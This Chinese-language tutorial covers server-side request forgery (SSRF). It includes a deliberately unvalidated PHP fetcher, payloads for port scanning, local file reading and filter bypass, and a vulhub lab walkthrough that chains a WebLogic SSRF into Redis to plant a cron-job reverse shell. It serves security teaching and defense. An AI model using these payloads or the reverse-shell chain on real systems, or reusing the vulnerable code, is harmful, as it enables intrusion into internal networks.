一、SSRF 概述
SSRF(服务器端请求伪造)漏洞是指攻击者利用服务器端的应用程序功能,诱使服务器向攻击者指定的内部或外部目标发起请求,从而绕过服务器的访问控制限制。这种漏洞通常出现在服务器端代码中,当应用程序在未对用户输入进行严格验证的情况下,将用户可控的参数作为请求目标地址时,攻击者可以利用此漏洞访问内网服务、扫描内网端口、攻击其他系统或进行数据泄露等恶意行为,严重威胁服务器和内网的安全性。
1.1 对比CSRF
CSRF——发生在客户端,强制客户端发送攻击者的请求。
SSRF——发生在服务端,强制服务器发送攻击者的请求。
1.2 SSRF场景
互联网上的很多Web 应用提供了从其他服务器(也可以是本地)获取数据的功能。使用用户指定的URL,Web 应用可以获取图片、文件资源(下载或读取)。如百度识图等。
用户可以从本地或者URL 的方式获取图片资源,交给百度识图处理。如果提交的是URL 地址,该应用就会通过URL 的方式获取图片资源。如果Web 应用开放了类似于百度识图这样的功能,并且对用户提供的URL和远端服务器返回的信息没有进行合适的验证或者过滤,就可能存在“请求伪造”的缺陷。
请求伪造,顾名思义就是攻击者伪造正常的请求,以达到攻击的目的,是常见的Web 安全漏洞之一。如果“请求伪造”发生在服务器端,那么这个漏洞就叫做“服务器端请求伪造”,英文名为Server-Side Request Forgery,简称SSRF。
SSRF(服务器端请求伪造)是一种攻击者发起的伪造由服务器端发出请求的一种攻击,也是常见的Web 安全漏洞(缺陷或者风险)之一。
1.3 危害
- 端口扫描
- 内网Web 应用指纹识别
- 攻击内网Web 应用
- 读取本地文件
二、SSRF 常见代码实现
在服务器端实现通过URL 从服务器(外部或者内部)获取资源功能的方法有很多,此处使用PHP 语言和curl 扩展实现该功能。
通过phpinfo() 函数查看对curl 扩展的支持,现在大部分wamp 套件均支持curl 扩展。
服务端代码:
<?php
if(isset($_REQUEST['url'])){
$link = $_REQUEST['url'];
$filename = './curled/'.time().'.txt';
$curlobj = curl_init($link);
$fp = fopen($filename,"w");
curl_setopt($curlobj, CURLOPT_FILE, $fp);
curl_setopt($curlobj, CURLOPT_HEADER, 0);
curl_setopt($curlobj, CURLOPT_FOLLOWLOCATION, TRUE);
curl_exec($curlobj);
curl_close($curlobj);
fclose($fp);
$fp = fopen($filename,"r");
$result = fread($fp, filesize($filename));
fclose($fp);
echo $result;
}else{
echo "?url=[url]";
}
?>
将以上代码保存为.php 文件,该段代码实现从服务器获取资源的基本功能,提交参数:
?url=http://www.baidu.com
页面就会载入百度首页的资源。同时,获取资源文件会保存在[./curled]中,并以发起请求时间戳命名。
EX:功能验证
使用https有问题,因为ssl协议会涉及到密钥协商等环节,简单的curl实现可能无法满足要求。
- 服务器发送URL请求:
http://192.168.33.4/SSRF/getresource.php?url=http://www.baidu.com
![]()
- 服务器访问互联网上的图片资源:
http://192.168.33.4/SSRF/getresource.php?url=http://pic.baike.soso.com/p/20140708/20140708112645-656251010.jpg
以源代码的方式显示了图片资源:
![]()
在服务器端修改后缀名,正常显示图片:
![]()
三、SSRF漏洞利用
3.1 访问正常文件(http、gopher)
访问正常文件,提交参数[?url=http://www.baidu.com/robots.txt]
万金油协议:gopher。
gopher协议
Gopher协议是什么?它是一个早期的互联网协议,主要用于文档的检索和传输,类似于早期的HTTP。不过,现在已经被HTTP取代,使用得很少了。但作为网络安全工程师,了解Gopher可能有其特定的意义,比如在某些攻击场景中被利用,比如SSRF(服务器端请求伪造)攻击中,因为Gopher协议可以构造特定的请求,可能被用来攻击内网服务。
3.2 端口扫描(可以扫描内网的端口)(dict://)
当访问未开放端口,脚本会显示空白或者报错,提交参数[?url=dict://127.0.0.1:1234]
当访问开放端口时,脚本会显示bannner 信息。
- [?url=dict://127.0.0.1:80]
- [?url=dict://127.0.0.1:3306]
dict://协议
dict://
协议是字典服务器协议(DICT)的一部分,是一种基于 TCP 的事务型查询/响应协议,允许客户端从一组自然语言字典数据库中访问字典定义。在SSRF(服务器端请求伪造)漏洞利用场景中,
dict://
协议可以用来探测端口是否开放,原因如下:1)协议特性
- 基于TCP:
dict://
协议是基于TCP的,这意味着它可以与目标端口建立TCP连接。如果目标端口是开放的,dict://
协议的请求能够成功到达目标端口,从而触发目标服务的响应。- 响应机制:当
dict://
协议请求到达目标端口时,如果端口上有服务正在监听,该服务会返回响应数据。通过分析这些响应数据,攻击者可以判断目标端口是否开放。2)SSRF漏洞利用中的作用
- 探测内网端口:在SSRF漏洞利用中,攻击者可以利用
dict://
协议向目标内网的特定端口发送请求。如果目标端口开放,攻击者会收到响应,从而确认该端口是开放的。- 绕过限制:
dict://
协议相对较少被使用,因此一些安全防护措施可能没有针对该协议进行严格的限制。攻击者可以利用这一点,通过dict://
协议绕过某些安全防护,探测内网端口。
3.3 读取系统本地文件(file://)
利用file协议可以任意读取本地系统文件,提交参数:
- [?url=file://c:\windows\system32\drivers\etc\hosts]
3.4 内网Web 应用指纹识别
识别内网应用使用的框架,平台,模块以及CMS 可以为后续的渗透测试提供很多的帮助。大多数Web 应用框架都有一些独特的文件和目录。通过这些文件可以识别出应用的类型,甚至详细的版本。根据这些信息就可以针对性的搜集漏洞进行攻击。
比如可以通过访问下列文件来判断phpMyadmin 是否安装以及详细版本:
?url=http://192.168.33.4/phpmyadmin/README
3.5 攻击内网应用
内网安全通常都很薄弱,溢出、弱口令等一般都是存在的。通过ssrf 攻击,可以实现对内网的访问,从而可以攻击内网应用或者本地机器,获得shell,这里的应用包括服务、Web 应用。
仅仅通过get 方法可以攻击的Web 应用有很多,比如structs2 命令执行等。
3.6 使用php://filter伪协议读取源代码
http://192.168.220.143:8888/sec/ssrf.php?url=php://filter/read=convert.base64-encode/resource=ssrf.php
四、SSRF漏洞的挖掘
对外发起网络请求的地方都可能存在SSRF 漏洞,列举图片加载下载,分享页面,在线翻译,未公开api(从远程服务器请求资源文件处理,编码处理,属性信息处理等。)
五、SSRF的防御
@ 限制协议:仅允许http和https请求。
@ 限制IP:避免应用被用来获取内网数据,攻击内网。
@ 限制端口:限制请求的端口为http 常用的端口,例如80 443 8080 8090
@ 过滤返回信息:验证远程服务器对请求的响应是比较简单的方法。
@ 统一错误信息:避免用户可以根据错误信息来判断远端服务器的端口状态。
六、SSRF防御绕过技巧
6.0 本地地址
http://127.0.0.1:80
http://localhost:22
6.1 利用@符号
http://example.com@127.0.0.1
6.2 添加端口号
http://127.0.0.1:8080
6.3 利用短地址
http://dwz.cn/11SMa >>> http://127.0.0.1
6.4 利用特殊域名
利用的原理是DNS解析
http://127.0.0.1.xip.io/
http://www.owasp.org.127.0.0.1.xip.io/
http://0/
在域名上设置A记录,指向127.0.1
6.5 利用封闭式字母数字Enclosed Alphanumerics
利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
6.6 利用。绕过
127。0。0。1 >>> 127.0.0.1
6.7 利用进制转换
可以是十六进制,八进制等。
115.239.210.26 >>> 16373751032
首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0),十六进制加0x
http://127.0.0.1 >>> http://0177.0.0.1/
http://127.0.0.1 >>> http://2130706433/
http://192.168.0.1 >>> http://3232235521/
http://192.168.1.1 >>> http://3232235777/
6.8 利用其它协议
Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
6.9 利用[::]
利用[::]绕过localhost
http://[::]:80/ >>> http://127.0.0.1
也有看到利用http://0000::1:80/的,可以测试是否可行。
实战—Weblogic 从ssrf 到getshell
weblogic中存在一个SSRF漏洞, 利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi 等脆弱组件。此处我们以vulhub中的一个环境来复现整个过程。开源渗透测试平台vulhub的详细搭建过程,我们不在这里赘述。
weblogic ssrf=> redis 未授权访问 => getshell
1)启动环境
cd /home/sxk/Desktop/vulhub-test1/vulhub-master/weblogic/ssrf
sudo docker-compose up -d
下载资源并启动环境。
环境搭建:依赖于docker 技术
docker-compose up -d 启动两个docker 镜像
docker ps 查看启动的容器
docker exec -it docker镜像id “/bin/bash” 【登陆docker镜像】
执行命令:
2)访问环境weblogic
http://ip:7001
出现以下页面,搭建成功。
3)漏洞验证
漏洞存在地方:http://192.168.33.6:7001/uddiexplorer/
抓包:
探测IP:
operator=http://www-3.ibm.com/services/uddi/inquiryapi 【漏洞点】
operator=http://www.baidu.com
测试ip:
operator=http://172.20.0.2:7001 [正确的ip]
operator=http://172.20.0.3:7001
确认存在SSRF漏洞。
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: 192.168.1.129:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
DNT: 1
Connection: close
Referer: http://192.168.1.129:7001/uddiexplorer/SearchPublicRegistries.jsp
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=dsQKp3ZLK3XNjv9JqvJ16L1nN89QZ3DK7yDLGcDgSlFwGHF5FRJQ!899981451
Upgrade-Insecure-Requests: 1
operator=http://172.18.0.2:6379&rdoSearch=name&txtSearchname=&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
未授权访问,在访问数据库是不需要提供用户名和密码。
具有root权限,可以读写文件。
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/777 0>&1\n\n\n\n"
config set dir /etc/ config
set dbfilename crontab
save
4)getshell
读写计划任务文件crontab,反弹shell到指定地址(MAC:192.168.1.3)
ncat 监听 ncat lvvp 777
对下面的payload进行URL编码:
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.1.3/777 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.3%2F777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
提交:
getshell: